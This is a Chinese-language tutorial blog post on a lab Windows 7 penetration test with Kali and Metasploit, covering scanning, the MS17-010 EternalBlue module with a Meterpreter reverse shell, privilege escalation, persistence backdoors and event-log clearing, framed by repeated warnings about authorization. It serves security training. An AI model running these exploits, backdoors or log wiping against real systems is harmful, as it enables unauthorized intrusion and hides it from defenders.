Kali与Metasploit实战:从信息收集到后渗透的Windows渗透测试全流程
发布时间:2026/10/20 16:36:58 锦皓数字建站

1. 从Kali到MSF一次授权环境下的Windows渗透实战老读者都知道我平时不太爱写那种“十分钟学会黑客”的标题党内容。但最近后台总有人问同一个问题Kali装好了MSF也启动了然后呢怎么用它真实地打下一台Windows机器说实话这个问题问得很好因为它卡在了绝大多数新手从“会装工具”到“会做渗透”之间的那道坎上。这篇东西我不想写成那种给你一堆截图然后说“照做就行”的教程因为那样你换个环境照样抓瞎。我会把每个环节的为什么也讲清楚从环境搭建、信息收集、漏洞利用到后渗透操作一条线走下来。同时必须开门见山说清楚整篇内容都建立在你自己搭建的实验环境之上目标是你的虚拟机不是别人的电脑。未经授权的渗透测试是违法行为这一点没有任何商量余地。下面这份实战记录既是一份操作手册也是我自己踩过无数坑之后的经验整理希望能让刚入门的朋友少走弯路。2. 实验环境搭建先把自己家客厅布置好2.1 为什么选Kali MSF这个组合Kali是一个集成了数百种安全工具的操作系统而MSFMetasploit Framework是其中知名度最高、生态最完善的渗透测试框架之一。打个比方Kali是一间设备齐全的维修车间MSF就是那台最常用的多功能机床——它既能做信息收集又能做漏洞利用还能管理会话、提权、抓取信息几乎所有常见渗透阶段都能覆盖。很多新手会问“为什么不直接用某个一键工具”其实原因很简单MSF是模块化的它的每一个步骤都可以被拆开理解、调整、二次开发。你越是明白MSF的工作原理越能在真实环境中灵活变通。反而那些一键化工具环境一变立刻失效你连排查的切入点都找不到。2.2 硬件与软件准备清单我建议的配置方案是宿主机一台Windows/Linux都行用虚拟机软件跑两个系统攻击机是Kali靶机是Windows。之所以推荐虚拟机是因为快照功能可以让你反复破坏、反复重置这比物理机安全得多也省事得多。项目攻击机推荐配置靶机推荐配置操作系统Kali LinuxWindows 7 SP1 x64 或 Windows 10内存2GB以上建议4GB2GB以上磁盘40GBWindows 7给60GBWin10给80GB网络模式桥接或NAT与攻击机一致Windows 7是经典的靶机系统因为它默认开启了SMB服务且存在大量公开漏洞非常适合学习。但我想提醒一句如果用Windows 10做靶机系统会自动更新补丁很多经典漏洞就被修复了练习效果会打折扣。所以新手期我更推荐Windows 7 SP1等你可以熟练完成全套流程后再挑战带补丁的Win10不迟。2.3 网络模式的选择桥接还是NAT这一步看似简单却是新手翻车重灾区。原理上讲NAT模式虚拟机通过宿主机共享网络上网虚拟机之间可以互通但外部设备无法直接访问它们。桥接模式虚拟机像一台独立主机直接接入宿主机所在局域网拥有自己的IP。渗透练习时建议两台虚拟机都设为桥接模式或者都设为NAT模式反正必须保持在同一个网段。我见过太多人攻击机是桥接、靶机是NAT结果两个系统压根互相看不见还以为是MSF的问题折腾半天。2.4 靶机系统初始化设置装好Windows 7后有几项设置需要提前处理到位否则后面利用会失败关闭系统防火墙或者至少放行SMB445端口入站流量。确保SMB服务处于开启状态Win7默认是开的但如果做过精简优化可能被手动关掉。给系统设置一个你知道的密码最好是简单一点方便测试比如Passw0rd之类。做完之后在攻击机上ping一下靶机IP能通就说明网络层没问题这部分就算齐活。2.5 责任边界练习环境的合法性在动手之前关于边界我们必须把话说到位。渗透测试这门技术本身就是一把刀刀具店里卖刀不违法但你拿着刀乱砍人就是违法。以下场景是允许你合法练习的自己搭的虚拟机或物理测试机。实验平台提供的在线靶场环境。你获得了明确书面授权的测试目标。而任何未经授权的服务器、个人电脑、公共网络设备无论你出于什么目的碰了就是违法行为。我希望我的读者都能在这个行业走长路而不是因为一次好奇把自己搭进去。这条红线比任何技术细节都重要。3. 信息收集搞清楚对方是谁、长什么样3.1 IP发现先找到靶机渗透测试的第一步永远不是扫描而是确认目标范围。在你自己的实验网段里可以用Kali自带的netdiscover来做ARP扫描sudo netdiscover -r 192.168.1.0/24这个命令的原理是向整个网段发送ARP请求所有在线设备都会回复所以能很快列出存活主机。观察输出里的IP和MAC地址找出哪一台是你的靶机。一般来说VMware虚拟机的MAC地址开头会有固定的厂商标识很容易分辨。如果你更习惯用MSF自带的模块也可以这样做msfconsole use auxiliary/scanner/discovery/arp_sweep set RHOSTS 192.168.1.0/24 run3.2 端口扫描找出敞开的门知道目标IP之后第二个问题就是这台机器对外开放了哪些端口每个端口都像一扇门门越多你进入的可能性就越大。我用得最多的还是Nmap也是Kali里预装好的。一个简单又完整的扫描命令nmap -sS -sV -p- -O 192.168.1.x拆开解释-sS是SYN半连接扫描速度快且不容易触发完整连接日志-sV探测服务版本-p-扫描全部65535个端口-O做操作系统指纹识别。如果你是第一次扫描可以先只扫常见端口nmap -sS -sV -p 1-1024,445,3389 192.168.1.x看到445端口开着、系统是Windows这就是一个非常有价值的信号——SMB服务的445端口曾是无数经典漏洞的入口。3.3 漏洞识别MSF帮你找钥匙拿到端口服务版本之后可以开始匹配漏洞。在MSF里有个命令特别好用search ms17-010它会列出所有与MS17-010相关的模块。MS17-010就是大家常说的“永恒之蓝”漏洞对应的补丁编号。如果你的靶机是未打补丁的Windows 7那它就是教科书级别的利用对象。也可以先用Nmap专门检测漏洞nmap --script smb-vuln-ms17-010 -p 445 192.168.1.x这种做法在真实环境中也很常见先做通用扫描然后针对可疑端口做定点漏洞探测避免一上来就直接盲打。4. 利用MSF拿下Shell永恒之蓝模块实战4.1 启动MSF并配置利用模块信息收集确认了靶机存在MS17-010漏洞之后我们进入正式利用环节。启动MSFmsfconsole首次使用时建议先初始化数据库msdb init然后搜索并加载永恒之蓝模块search ms17-010 use exploit/windows/smb/ms17_010_eternalblue接下来需要设置三个核心参数set RHOSTS 192.168.1.x set LHOST 192.168.1.y set PAYLOAD windows/x64/meterpreter/reverse_tcpRHOSTS是靶机IP。LHOST是攻击机IP因为我们要用一个反弹式Shell让靶机主动连接攻击机。PAYLOAD是攻击载荷这里用的是经典的Meterpreter反弹型。4.2 为什么用反弹Shell而不是正向连接新手常常不理解为什么选择reverse_tcp。道理很简单靶机通常有防火墙规则入站连接容易被拦但出站连接一般放行。反弹Shell的思路是让靶机主动找你像是你给快递员留了一个地址他按地址把包裹送上门正向Shell则像你非要跑到别人家里去取货可能连小区门都进不去。设置好后执行run 或 exploit如果看到Meterpreter session 1 opened这类回显说明会话建立成功你已经拿到了一台目标机器的控制权。如果出现报错别急本文章节最后会给你一份排错速查表。4.3 Meterpreter初体验几条必学命令成功进入Meterpreter后你会看到一个meterpreter 提示符这代表你已能在靶机上执行命令。几条高频命令分享给你sysinfo查看目标系统版本、架构等基础信息确认你打的是不是预先设想的系统。getuid显示当前权限是普通用户还是系统权限这决定了后续提权的难易程度。getsystem自动尝试提升到SYSTEM权限。shell弹出一个标准命令行Shell可以像在本地一样执行命令。screenshot截取目标系统当前屏幕。download和upload从目标下载文件或向目标上传文件。需要特别说明的是在实验环境里拿了Shell之后要做什么始终是对学生自己的测试机进行操作绝不能拿这些命令去对付别人的系统。学技术的人应该比普通人更清楚这条边界。5. 后渗透操作从Shell到权限控制5.1 提权思路如果你拿到的是管理员权限也许不需要额外提权但如果只是普通用户就需要想办法提升权限。常见思路有利用MSF自带的getsystem命令这一步在Win7上大概率可以成功。使用post/multi/recon/local_exploit_suggester模块自动检测当前会话可利用的本地提权漏洞。内核漏洞辅助探测器输入run post/multi/recon/local_exploit_suggester后等待结果列表它会推荐可用的提权模块。选择对应的提权模块后在当前会话下执行权限提升完成后再用getuid确认身份已经是NT AUTHORITY/SYSTEM。5.2 持久化维持访问不丢失真实渗透中一次会话可能因为网络波动、目标重启等原因突然中断所以我们要考虑持久化。MSF有几个常用方案run persistence生成一个后门程序设置回连间隔和时间。exploit/windows/local/persistence_service以服务方式安装持久化后门。计划任务方式把事情交给Windows计划任务。我个人的建议是在实验机上学一下原理就好在自己的靶机上折腾没问题但不要在生产环境里乱用这些技术。持久化技术是把双刃剑它也是防御方重点查杀的对象。5.3 痕迹清理做完事要擦桌子作为一名合格的安全测试人员清除自己在目标机器上留下的痕迹是不可或缺的环节。常见的做法有三类清除事件日志可以使用meterpreter下的clearev命令。删除上传的临时文件如果上传过工具记得全部清理。卸载服务或计划任务如果做过持久化测试完毕之后也要卸掉。清理痕迹的目的不是为了作恶而是保证测试之后目标系统保持原状不给运维留下额外负担。但请注意你自己的日志可以清理目标系统的正常业务日志绝不可乱删那会影响系统运行和审计。5.4 防御视角被攻陷后系统会呈现什么状态站在防守方角度这样一个渗透过程会在目标机器上留下大量痕迹。利用MSF做攻击时Windows会记录事件日志杀毒软件会报警网络层会看到异常连接。正是基于这些线索蓝队才能溯源追踪。所以我看很多新手只学攻不学防这是很吃亏的。如果你能换位思考理解防守方在怎么监测你你反过来就能做得更隐蔽也更懂怎么保护自己的机器。安全行业本质上是一场对抗博弈攻防视角随时切换才是真正的进阶。6. 实战排错速查我踩过的那些坑6.1 问题对照表这部分是我觉得最有用的内容之一因为教程都顺风顺水但实际操作十有八九会出岔子。我把常见问题和解决思路整理成表格现象可能原因解决办法攻击机ping不通靶机虚拟机网络模式不一致统一桥接或统一NAT确认同网段扫描不到445端口靶机防火墙拦截关闭防火墙或放行445端口利用模块执行但无回显SMB服务未启动在靶机手动启动SMB服务Meterpreter会话秒断载荷架构不对确认Win7是x64则选x64 payloadMSF启动报数据库错误数据库未初始化运行msdb init提权失败目标系统打了补丁换其他漏洞模块或换靶机6.2 经典教训别忽略“环境对齐”这件事有一次我在一个新装的VMware里排错整整花了一个小时才发现问题攻击机是NAT模式靶机是桥接模式两个系统压根不在同一个网络。这种情况太常见了。所以每次开始之前先用ip addr看攻击机IP再用靶机里的ipconfig看靶机IP确认前三位网段一致再往下走。这个习惯能帮你省掉大量无用功。还有一个教训是很多人不看输出信息。MSF的报错往往已经提示了问题所在比如Connection timed out是网络不通Exploit completed but no session was created是漏洞利用失败或目标系统不匹配。耐心读完回显信息这本身就是一种渗透基本功。6.3 稳定复现的几个小技巧基于我个人反复实验的经验有三条建议特别值得分享每次实验前给靶机打一个快照。一旦把系统搞得乱七八糟恢复快照只需要一分钟。攻击机的IP尽量固定而不使用动态分配避免每次开虚拟机都要重新配置参数。把常用命令整理成一个笔记文档。渗透流程复杂好记性不如烂笔头写上几遍自然就有肌肉记忆。7. 写在最后技术本身中性但选择权在你这次的实验流程从信息收集、漏洞利用、权限提升到持久化几乎覆盖了一次真实渗透测试的完整路径。但最令我感慨的往往不是技术本身而是每次接触安全技术的新人如何面对这些能力。我个人在带新人时的要求很简单技术可以慢慢练但边界意识必须第一天就建立。所有操作的第一步永远是确认授权这不是胆小而是职业操守。如果把这篇实战流程再延伸一步接下来的学习方向可以是内网渗透中的横向移动、域环境下的攻击手法、以及更底层的Shellcode与免杀技术。基础扎实之后再往这些方向走会顺得多。希望这篇内容能帮你推开一扇门也希望你站在门后时知道自己为什么站在这里。
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。